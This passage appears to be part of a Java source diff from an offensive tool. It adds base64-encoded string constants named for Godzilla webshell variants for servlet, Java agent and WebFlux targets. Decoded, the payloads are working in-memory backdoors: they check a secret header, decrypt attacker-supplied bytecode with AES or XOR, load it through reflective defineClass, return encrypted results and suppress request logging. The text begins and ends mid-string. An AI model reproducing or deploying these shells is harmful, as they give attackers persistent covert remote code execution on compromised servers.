m9zLnRvQnl0ZUFycmF5KCk7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgIEJhc2U2NCAgPSBsb2FkZXIubG9hZENsYXNzKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CgkJCQkJCU9iamVjdCBEZWNvZGVyID0gQmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQkJCXJlcXVlc3RCb2R5ID0gKGJ5dGVbXSkgRGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlQnVmZmVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtuZXcgU3RyaW5nKHJlcXVlc3RCb2R5KX0pOwoJCQkJCX0gY2F0Y2ggKFRocm93YWJsZSBleCkgewoJCQkJCQlDbGFzcyAgQmFzZTY0ICA9IGxvYWRlci5sb2FkQ2xhc3MoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJCQkJT2JqZWN0IERlY29kZXIgPSBCYXNlNjQuZ2V0RGVjbGFyZWRNZXRob2QoImdldERlY29kZXIiLCBuZXcgQ2xhc3NbMF0pLmludm9rZShudWxsLCBuZXcgT2JqZWN0WzBdKTsKCQkJCQkJcmVxdWVzdEJvZHkgPSAoYnl0ZVtdKSBEZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoRGVjb2RlciwgbmV3IE9iamVjdFtde25ldyBTdHJpbmcocmVxdWVzdEJvZHkpfSk7CgkJCQkJfQoJCQkJCWJ5dGVbXSAgICAgICAgICAgICAgICAgICBidWYgICAgICAgICAgPSAoYnl0ZVtdKSBkb0ZpbmFsTWV0aG9kLmludm9rZShjLCBuZXcgT2JqZWN0W117cmVxdWVzdEJvZHl9KTsKCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmaW5lTWV0aG9kID0gamF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkTWV0aG9kKCJkZWZpbmVDbGFzcyIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgamF2YS5uaW8uQnl0ZUJ1ZmZlci5jbGFzcywgamF2YS5zZWN1cml0eS5Qcm90ZWN0aW9uRG9tYWluLmNsYXNzfSk7CgkJCQkJZGVmaW5lTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuQ29uc3RydWN0b3IgY29uc3RydWN0b3IgPSBqYXZhLnNlY3VyaXR5LlNlY3VyZUNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzfSk7CgkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQlqYXZhLmxhbmcuQ2xhc3NMb2FkZXIgY2wgPSAoamF2YS5sYW5nLkNsYXNzTG9hZGVyKSBjb25zdHJ1Y3Rvci5uZXdJbnN0YW5jZShuZXcgT2JqZWN0W117bG9hZGVyfSk7CgkJCQkJamF2YS5sYW5nLkNsYXNzICAgICAgIGMgID0gKGphdmEubGFuZy5DbGFzcykgZGVmaW5lTWV0aG9kLmludm9rZSgoamF2YS5sYW5nLk9iamVjdCkgY2wsIG5ldyBPYmplY3RbXXtudWxsLCBqYXZhLm5pby5CeXRlQnVmZmVyLndyYXAoYnVmKSwgbnVsbH0pOwoJCQkJCWMubmV3SW5zdGFuY2UoKS5lcXVhbHMob2JqKTsKCQkJCX0gY2F0Y2ggKGphdmEubGFuZy5FeGNlcHRpb24gZSkgewoJCQkJCWUucHJpbnRTdGFja1RyYWNlKCk7CgkJCQl9IGNhdGNoIChqYXZhLmxhbmcuRXJyb3IgZXJyb3IpIHsKCQkJCQllcnJvci5wcmludFN0YWNrVHJhY2UoKTsKCQkJCX0KCQkJCXJldHVybjsKCQkJfQoJCX0="; + + public static String GODZILLA_SHELL = "ewoJCQl0cnkgewoJCQkJT2JqZWN0IHJlcSAgPSAkMTsKCQkJCU9iamVjdCByZXNwID0gJDI7CgkJCQlPYmplY3QgdmFsdWUgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0hFQURFUl9LRVl9KTsKCQkJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQkJCVN0cmluZyBwYXNzID0gUEFTUzsKCQkJCQlTdHJpbmcgbWQ1ICA9IG1kNShwYXNzICsgeGMpOwoJCQkJCWJ5dGVbXSBkYXRhID0gYmFzZTY0RGVjb2RlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRQYXJhbWV0ZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117cGFzc30pLnRvU3RyaW5nKCkpOwoJCQkJCWRhdGEgPSB4KGRhdGEsIGZhbHNlKTsKCQkJCQlpZiAocGF5bG9hZCA9PSBudWxsKSB7CgkJCQkJCWphdmEubmV0LlVSTENsYXNzTG9hZGVyICB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQlkZWZNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJcGF5bG9hZCA9IChDbGFzcykgZGVmTWV0aG9kLmludm9rZSh1cmxDbGFzc0xvYWRlciwgbmV3IE9iamVjdFtde2RhdGEsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGRhdGEubGVuZ3RoKX0pOwoJCQkJCX0gZWxzZSB7CgkJCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSBwYXlsb2FkLm5ld0luc3RhbmNlKCk7CgkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIHdyaXRlciA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0V3JpdGVyIiwgbnVsbCwgbnVsbCk7CgkJCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQkJCWYuZXF1YWxzKGRhdGEpOwoJCQkJCQlmLmVxdWFscyhyZXEpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117bWQ1LnN1YnN0cmluZygwLCAxNil9KTsKCQkJCQkJZi50b1N0cmluZygpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117YmFzZTY0RW5jb2RlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKX0pOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117bWQ1LnN1YnN0cmluZygxNil9KTsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJjbG9zZSIsIG51bGwsIG51bGwpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; + + public static String GODZILLA_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCUNsYXNzTG9hZGVyICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlciAgICAgID0gdGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCk7CgkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGF0aFBhdHRlcm4gPSAiJXMiOwoKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgIHBhc3MgICAgPSAiJXMiOwoJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICBrZXkgICAgID0gIiVzIjsKCQkJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciA9IHBhc3MgKyBrZXk7CgkJCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXNzaW9uIHNlc3Npb24gPSByZXF1ZXN0LmdldFNlc3Npb24oKTsKCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oc2Vzc2lvbik7CgoJCQkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJCQltLnVwZGF0ZShwYXNzU3RyLmdldEJ5dGVzKCksIDAsIHBhc3NTdHIubGVuZ3RoKCkpOwoJCQkJCVN0cmluZyBtZDUgPSBuZXcgamF2YS5tYXRoLkJpZ0ludGVnZXIoMSwgbS5kaWdlc3QoKSkudG9TdHJpbmcoMTYpLnRvVXBwZXJDYXNlKCk7CgoJCQkJCVN0cmluZyBicyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKHBhc3MpOwoKCQkJCQlDbGFzcyAgYmFzZTY0OwoJCQkJCWJ5dGVbXSB2YWx1ZSA9IG51bGw7CgkJCQkJdHJ5IHsKCQkJCQkJYmFzZTY0ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwoJCQkJCQlPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5nZXREZWNsYXJlZE1ldGhvZCgiZ2V0RGVjb2RlciIsIG5ldyBDbGFzc1tde251bGx9KS5pbnZva2UobnVsbCwgbmV3IE9iamVjdFtde251bGx9KTsKCQkJCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQkJdHJ5IHsKCQkJCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKCQkJCQkJCU9iamVjdCBkZWNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQkJCQl2YWx1ZSA9IChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30pLmludm9rZShkZWNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUyKSB7CgkJCQkJCX0KCQkJCQl9CgoJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrZXkuZ2V0Qnl0ZXMoKSwgIkFFUyIpKTsKCQkJCQl2YWx1ZSA9IGMuZG9GaW5hbCh2YWx1ZSk7CgoJCQkJCWlmIChzZXNzaW9uLmdldEF0dHJpYnV0ZSgiZ3oiKSA9PSBudWxsKSB7CgkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBkZWZpbmVNZXRob2QgPSBqYXZhLmxhbmcuQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBqYXZhLm5pby5CeXRlQnVmZmVyLmNsYXNzLCBqYXZhLnNlY3VyaXR5LlByb3RlY3Rpb25Eb21haW4uY2xhc3N9KTsKCQkJCQkJZGVmaW5lTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gamF2YS5zZWN1cml0eS5TZWN1cmVDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZENvbnN0cnVjdG9yKG5ldyBDbGFzc1tde2phdmEubGFuZy5DbGFzc0xvYWRlci5jbGFzc30pOwoJCQkJCQljb25zdHJ1Y3Rvci5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQlqYXZhLmxhbmcuQ2xhc3NMb2FkZXIgY2wgICAgPSAoamF2YS5sYW5nLkNsYXNzTG9hZGVyKSBjb25zdHJ1Y3Rvci5uZXdJbnN0YW5jZShuZXcgT2JqZWN0W117bG9hZGVyfSk7CgkJCQkJCWphdmEubGFuZy5DbGFzcyAgICAgICBjbGF6eiA9IChqYXZhLmxhbmcuQ2xhc3MpIGRlZmluZU1ldGhvZC5pbnZva2UoKGphdmEubGFuZy5PYmplY3QpIGNsLCBuZXcgT2JqZWN0W117bnVsbCwgamF2YS5uaW8uQnl0ZUJ1ZmZlci53cmFwKHZhbHVlKSwgbnVsbH0pOwoJCQkJCQlzZXNzaW9uLnNldEF0dHJpYnV0ZSgiZ3oiLCBjbGF6eik7CgkJCQkJfSBlbHNlIHsKCQkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0ID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9ICgoQ2xhc3MpIHNlc3Npb24uZ2V0QXR0cmlidXRlKCJneiIpKS5uZXdJbnN0YW5jZSgpOwoKCQkJCQkJZi5lcXVhbHMoYXJyT3V0KTsKCQkJCQkJZi5lcXVhbHModmFsdWUpOwoJCQkJCQlmLmVxdWFscyhyZXF1ZXN0KTsKCgkJCQkJCWphdmEuaW8uUHJpbnRXcml0ZXIgd3JpdGVyID0gcmVzcG9uc2UuZ2V0V3JpdGVyKCk7CgkJCQkJCXdyaXRlci53cml0ZShtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJCQkJCWYudG9TdHJpbmcoKTsKCgkJCQkJCWMuaW5pdCgxLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrZXkuZ2V0Qnl0ZXMoKSwgIkFFUyIpKTsKCQkJCQkJdmFsdWUgPSBjLmRvRmluYWwoYXJyT3V0LnRvQnl0ZUFycmF5KCkpOwoKCQkJCQkJQ2xhc3MgIGJhc2U2NDI7CgkJCQkJCVN0cmluZyByZXN1bHQgPSBudWxsOwoJCQkJCQl0cnkgewoJCQkJCQkJYmFzZTY0MiA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJCQkJCU9iamVjdCBFbmNvZGVyID0gYmFzZTY0Mi5nZXRNZXRob2QoImdldEVuY29kZXIiLCBuZXcgQ2xhc3NbXXtudWxsfSkuaW52b2tlKG51bGwsIG5ldyBPYmplY3RbXXtudWxsfSk7CgkJCQkJCQlyZXN1bHQgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGVUb1N0cmluZyIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30pLmludm9rZShFbmNvZGVyLCBuZXcgT2JqZWN0W117dmFsdWV9KTsKCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQkJCXRyeSB7CgkJCQkJCQkJYmFzZTY0MiA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NEVuY29kZXIiKTsKCQkJCQkJCQlPYmplY3QgRW5jb2RlciA9IGJhc2U2NDIubmV3SW5zdGFuY2UoKTsKCQkJCQkJCQlyZXN1bHQgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGUiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde3ZhbHVlfSk7CgkJCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCQkJfQoJCQkJCQl9CgoJCQkJCQl3cml0ZXIud3JpdGUocmVzdWx0KTsKCQkJCQkJd3JpdGVyLndyaXRlKG1kNS5zdWJzdHJpbmcoMTYpKTsKCQkJCQkJd3JpdGVyLmZsdXNoKCk7CgkJCQkJCXdyaXRlci5jbG9zZSgpOwoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCQlyZXR1cm47CgkJCX0KCQl9"; + + public static String GODZILLA_SHELL_FOR_WEBFLUX = "ewogICAgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgc2IgPSAkMTsKICAgIG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5NdWx0aVZhbHVlTWFwIHZhbHVlTWFwID0gJDI7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzICAgICA9IFBBU1M7CiAgICBTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtZDUgICAgICA9IG1kNShwYXNzICsgeGMpOwogICAgU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciAgPSB2YWx1ZU1hcC5nZXRGaXJzdChwYXNzKS50b1N0cmluZygpOwogICAgdHJ5IHsKCSAgICBieXRlW10gZGF0YSA9IHgoYmFzZTY0RGVjb2RlKHBhc3NTdHIpLCBmYWxzZSk7CgkgICAgaWYgKHN0b3JlLmdldCgicGF5bG9hZCIpID09IG51bGwpIHsKCQkgICAgamF2YS5uZXQuVVJMQ2xhc3NMb2FkZXIgIHVybENsYXNzTG9hZGVyID0gbmV3IGphdmEubmV0LlVSTENsYXNzTG9hZGVyKG5ldyBqYXZhLm5ldC5VUkxbMF0sIFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCkpOwoJCSAgICBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmTWV0aG9kICAgICAgPSBDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7CgkJICAgIGRlZk1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCSAgICBzdG9yZS5wdXQoInBheWxvYWQiLCAoQ2xhc3MpIGRlZk1ldGhvZC5pbnZva2UodXJsQ2xhc3NMb2FkZXIsIG5ldyBPYmplY3RbXXtkYXRhLCBJbnRlZ2VyLnZhbHVlT2YoMCksIEludGVnZXIudmFsdWVPZihkYXRhLmxlbmd0aCl9KSk7CgkgICAgfSBlbHNlIHsKCSAgICAJc3RvcmUucHV0KCJwYXJhbWV0ZXJzIiwgZGF0YSk7CgkJICAgIGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCSAgICBPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSAoKENsYXNzKSBzdG9yZS5nZXQoInBheWxvYWQiKSkubmV3SW5zdGFuY2UoKTsKCQkgICAgZi5lcXVhbHMoYXJyT3V0KTsKCQkgICAgZi5lcXVhbHMoZGF0YSk7CgkJICAgIHNiLmFwcGVuZChtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJICAgIGYudG9TdHJpbmcoKTsKCQkgICAgc2IuYXBwZW5kKGJhc2U2NEVuY29kZSh4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKSkpOwoJCSAgICBzYi5hcHBlbmQobWQ1LnN1YnN0cmluZygxNikpOwoJICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICB9Cn0="; + + public static String GODZILLA_RAW_SHELL = "ewoJT2JqZWN0IHJlcSAgPSAkMTsKCU9iamVjdCByZXNwID0gJDI7Cgl0cnkgewoJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQlub0xvZyhyZXEpOwoJCQlPYmplY3QgbGVuZ3RoID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXsiQ29udGVudC1MZW5ndGgifSk7CgkJCWJ5dGVbXSBkYXRhID0gbmV3IGJ5dGVbSW50ZWdlci5wYXJzZUludChsZW5ndGgudG9TdHJpbmcoKSldOwoJCQlqYXZhLmlvLklucHV0U3RyZWFtIGlucHV0U3RyZWFtID0gKGphdmEuaW8uSW5wdXRTdHJlYW0pIGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQlpbnQgX251bSA9IDA7CiAgICAgICAgICAgIHdoaWxlICgoX251bSArPSBpbnB1dFN0cmVhbS5yZWFkKGRhdGEsIF9udW0sIGRhdGEubGVuZ3RoKSkgPCBkYXRhLmxlbmd0aCkgOwoJCQlkYXRhID0geChkYXRhLCBmYWxzZSk7CgoJCQlpZiAocGF5bG9hZCA9PSBudWxsKSB7CgkJCQlqYXZhLm5ldC5VUkxDbGFzc0xvYWRlciB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgICAgIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJZGVmTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQlwYXlsb2FkID0gKENsYXNzKSBkZWZNZXRob2QuaW52b2tlKHVybENsYXNzTG9hZGVyLCBuZXcgT2JqZWN0W117ZGF0YSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZGF0YS5sZW5ndGgpfSk7CgkJCX0gZWxzZSB7CgkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBhcnJPdXQgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9IHBheWxvYWQubmV3SW5zdGFuY2UoKTsKCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQlmLmVxdWFscyhkYXRhKTsKCQkJCWYudG9TdHJpbmcoKTsKCQkJCU9iamVjdCBvcyA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0T3V0cHV0U3RyZWFtIiwgbnVsbCwgbnVsbCk7CgkJCQlnZXRNZXRob2RBbmRJbnZva2Uob3MsICJ3cml0ZSIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30sIG5ldyBPYmplY3RbXXt4KGFyck91dC50b0J5dGVBcnJheSgpLCB0cnVlKX0pOwoJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKG9zLCAiZmx1c2giLCBudWxsLCBudWxsKTsKCQkJCWdldE1ldGhvZEFuZEludm9rZShvcywgImNsb3NlIiwgbnVsbCwgbnVsbCk7CgkJCX0KCQl9Cgl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJfQp9"; + + public static String GODZILLA_RAW_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCUNsYXNzTG9hZGVyICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlciAgICAgID0gdGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCk7CgkJU3RyaW5nIHBhdGhQYXR0ZXJuID0gIiVzIjsKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgIGtleSAgICAgICAgPSAiJXMiOwoJCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpOwoJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICBsZW5ndGggICAgICA9IHJlcXVlc3QuZ2V0SGVhZGVyKCJDb250ZW50LUxlbmd0aCIpOwoJCQkJCWJ5dGVbXSAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhICAgICAgICA9IG5ldyBieXRlW0ludGVnZXIucGFyc2VJbnQobGVuZ3RoKV07CgkJCQkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICAgIGlucHV0U3RyZWFtID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJCWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICBfbnVtICAgICAgICA9IDA7CgkJCQkJd2hpbGUgKChfbnVtICs9IGlucHV0U3RyZWFtLnJlYWQoZGF0YSwgX251bSwgZGF0YS5sZW5ndGgpKSA8IGRhdGEubGVuZ3RoKSA7CgkJCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCQkJYy5pbml0KDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKGtleS5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCVN5c3RlbS5vdXQucHJpbnRsbihkYXRhKTsKCQkJCQlkYXRhID0gYy5kb0ZpbmFsKGRhdGEpOwoJCQkJCVN5c3RlbS5vdXQucHJpbnRsbigxKTsKCQkJCQlpZiAoc2Vzc2lvbi5nZXRBdHRyaWJ1dGUoImd6cmF3IikgPT0gbnVsbCkgewoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmaW5lTWV0aG9kID0gamF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkTWV0aG9kKCJkZWZpbmVDbGFzcyIsIG5ld